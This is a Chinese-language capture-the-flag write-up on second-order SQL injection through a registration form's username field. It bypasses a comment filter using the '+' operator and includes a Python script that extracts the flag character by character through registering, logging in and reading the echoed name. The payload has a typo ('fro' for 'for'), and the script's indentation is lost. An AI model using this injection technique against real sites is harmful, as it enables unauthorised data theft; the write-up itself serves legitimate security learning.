知识点:
- 二次注入
- 注释符不能用 => 利用数据库的+运算符 进行闭合
分析:
初始页面是login登录页面,万能密码不管用,想着肯定会有注册页面的
-> url/register.php => 有回显,可以注册账号
-> 注册完进来之后没有什么信息,能观察的就是左边有自己的用户名
流程:注册账号 -> 登录进来 -> 回显的是用户名
解析:注册账号,将信息放在数据库中,登录进来比对数据库,将对应用户名拿出来回显在页面中
=> 二次注入
题解:
注入点在注册页面的用户名处,测试过滤了什么 => 单引号 语句后面跟注释符也被过滤
但同时,如果是 1’ or ‘1’='1 又能成功注册,这是肯定是单引号闭合,但是因为不能在后面跟注释符,如何进行闭合
数据库中+的运用
闭合语句:0' + ascii(substr((select * from flag) from {} fro 1)) + '0
import requests
from bs4 import BeautifulSoup
import time
url = "http://387acb5b-091a-45f6-9bd3-ca3c685a8741.node5.buuoj.cn:81/"
m = ''
for i in range(100):
payload = "0' + ascii(substr((select * from flag) from {} fro 1)) + '0".format(i+1)
register_data = {
'email':'abc{}@qq.com'.format(i),
'username':payload,
'password':'123456'
}
login_data = {
'email':'abc{}@qq.com'.format(i),
'password':'123456'
}
req = requests.session()
url1 = url + 'register.php' # 注册页面
url2 = url + 'login.php' # 登录页面
url3 = url + 'index.php' # 回显页面
res1 = req.post(url=url1, data=register_data)
res2 = req.post(url=url2, data=login_data)
res3 = req.post(url=url3)
html = res3.text
# print(html)
soup = BeautifulSoup(html, 'html.parser')
# print(soup.prettify())
UserName = soup.span.string
print(UserName)
if int(UserName) == 0:
break
m += chr(int(UserName))
print(m)
time.sleep(1)